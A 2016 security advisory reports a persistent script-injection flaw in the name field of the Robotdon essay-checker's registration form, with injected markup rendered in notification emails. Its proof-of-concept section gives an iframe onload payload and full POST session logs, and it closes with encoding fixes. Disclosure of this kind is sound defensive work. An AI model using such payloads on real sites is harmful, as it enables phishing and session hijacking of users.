Document Title:
===============
Edusson (Robotdon) BB - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1870


Release Date:
=============
2016-11-03


Vulnerability Laboratory ID (VL-ID):
====================================
1870


Common Vulnerability Scoring System:
====================================
4.3


Product & Service Introduction:
===============================
Meet Robot Don - a free essay checker software that brings so much fun into 
your essay editing / proofreading.
We have created Robot Don, machine learning tool that facilitates essay 
writing, free for all students. We continuously 
receive bug reports and suggestions from different areas. To honor the bright 
external contributions that help us 
build a better product we have  launched a Bug & Ideas Hunting (BIH) Contest 
for Robot Don. Any of service or feature 
provided by Robot Don software is intended to be in scope of this scholarship/ 
contest. This includes all content and 
algos available through robotdon.com

(Copy of the Vendor Homepage: http://edusson.com/robot-don )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side 
vulnerability and a filter bypass issue in the official Edusson Robotdon 
web-application.


Vulnerability Disclosure Timeline:
==================================
2016-06-10: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2016-06-11: Vendor Notification (Edusson Security Team)
2016-06-20: Vendor Response/Feedback (Edusson Security Team)
2016-**-**: Vendor Fix/Patch (Edusson Robotdon Developer Team)
2016-11-03: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Edusson
Product: Robotdon - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input and mail encode web vulnerability has been discovered 
in the official Edusson Robotdon (tools) web-application.
The vulnerability allows remote attackers to inject own malicious script codes 
to the application-side of the vulnerable module or function.

The vulnerability is located in the reg_name parameter of the ./register module 
POST method request. Remote attackers are able to inject own 
malicious script codes to the email body context of the i...@robotdon.com reply 
notification. The injection point of the vulnerability is the 
registration formular with the wrong encoded name input field. The execution 
point occurs in the email that is send by the service after the 
registration has been solved. The attacker vector of the vulnerability is 
persistent on the application-side and the request method to inject 
the payload is POST. The vulnerability allows an attacker to inject malicious 
codes to the email context to spoof, phish or manipulate with 
the original email replier. The context of the payload is saved to the database 
management system and can execute with persistent vector in 
other notifications as well. 

The security risk of the application-side vulnerability is estimated as medium 
with a cvss (common vulnerability scoring system) count of 4.3. 
Exploitation of the persistent mail encode web vulnerability requires no 
privileged user account and only low user interaction (click/include). 
Successful exploitation of the vulnerability results in persistent phishing 
mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Request Method(s):
                                [+] POST

Vulnerable Module(s)
                                [+] ./register (robotdon)
 
Vulnerable Input(s):
                                [+] Name

Vulnerable Parameter(s)
                                [+] reg_name

Affected Module(s)
                                [+] Mail Message Body


Proof of Concept (PoC):
=======================
The persistent input and mail encode web vulnerability can be exploited by 
remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


Vulnerable Input(s): (Inject)
http://tools.robotdon.com/registered
http://tools.robotdon.com/register


PoC: Payload(s)
"" >"<iframe src=x onload=alert("APPROVED") <%20


--- PoC Session Logs [POST] (Inject) ---
Status: 200[OK]
POST http://tools.robotdon.com/registration Load Flags[LOAD_BACKGROUND  
LOAD_BYPASS_LOCAL_CACHE  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[tools.robotdon.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 
Firefox/46.0]
      Accept[text/plain, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://tools.robotdon.com/register]
      Content-Length[1130]
      Connection[keep-alive]
   POST-Daten:
      
user_reg_name[%22%3E%3Ciframe%3E%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Cimg%3E]
      user_reg_email[bkm%40evolution-sec.com]
      user_reg_password[666]
      
captcha_key[03AHJ_VuvK4c4JYL-1DcDjoAz6PwXopJtuZhfdRGFNGbwBoqOVPsr3zZSLtbU38GQYIetSDZAjMId-2dIlQCfdeh80ugOasu3xUd8JXhxdX8PsjjyjDkvMy9qRaFfyUQxm3-VaueR4iH-dL1n1AwHq_PW20f084i2BET9kzPrvQlCIueNXqqaNVv1uW30qaAEivainuEdGW_sj19CR1UhzJVbNh0aTBdC_YO4JGZJwBHtGSc2ckfevfna6tz_VLPK_5eCRoNA5QZTbDBPWprc63mPXtMnzHbVXmNBodpEFmXEdtvH72ZYgMSlTlyECZ8v-4wqNdqGmY5exOW4nVYEadK_W7GTkiCZDyOmNvSKHcJKBW805DFTSrvGHA4FIN2VLKZGyla8bR46VNiJky2OfzaCvH-F7ESsWkSzzbgJgdAlnVJgX1NP0kSSO39AxjV_2Cx1zUzRQouqeuxiuW-cPyDu6HiDvGo2reSw0km-txyJXwxIt2c6_d3RXZPKOiCypyqygkmV_Mga7m-c7dAhYQVLkN3lW36_-uAEYlCNKmHcrG0zWTA0Ou-yRR-iFT0wIlpBg-CVUqqLXRm-h-ro8moPr_rttTFPTqJ1i-vPcfURM_DVTedPOjMUsaJkPDG2xOzh-fVETHF37zLUTDVIXSkyk-WdcJV1xOvL1CvAej67YjRMSlEUUKvbxziOd5gKc6grkgD4XwWkMwvqafX_BQ9h6qA8FCHE6YsVR6A-X9EFI7SbFBH-7i_zA3BjuQ0_pF1hrC8cuWFWGySTeaTRzD7XiOa1pNsTHFp5pP45Q8nZoGdMm8lifAjwMh-hBD5lDjIDqwwDc7wrZrCC_jMNZk4bT3JT-VeBREqrbh2c5Qx-UXLDjGmQTp5XKricC4r_GOLWg5zcpdYQgaLpEc_ZI-4UG7ysEVQt0c-V_bgHfKHZaUIlkMzoFWcnGJp972e91iJwAAv9e97q1]
   Response Header:
      Server[nginx/1.6.2]
      Date[Fri, 10 Jun 2016 16:46:05 GMT]
      Content-Type[text/html; charset=UTF-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      Content-Encoding[gzip]

Status: 200[OK]
GET http://tools.robotdon.com/registered Load Flags[LOAD_DOCUMENT_URI  
LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[tools.robotdon.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 
Firefox/46.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://tools.robotdon.com/register]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.6.2]
      Content-Type[text/html; charset=UTF-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      Cache-Control[no-cache]
      Date[Fri, 10 Jun 2016 16:46:05 GMT]
      Content-Encoding[gzip]


Solution - Fix & Patch:
=======================
The application-side security web vulnerability can be patched by a secure 
restriction and encode of the input fields.
Disallow the usage of special chars and encode the parameter of the reg_name in 
the register POST method request. 
Ensure that the outgoing mail body encodes or parses the name parameters next 
to sending the context to anothers email.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in 
the edusson robotdon web-application is estimated as medium. (CVSS 4.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(resea...@vulnerability-lab.com) 
[http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] 
[www.vulnerability-lab.com]


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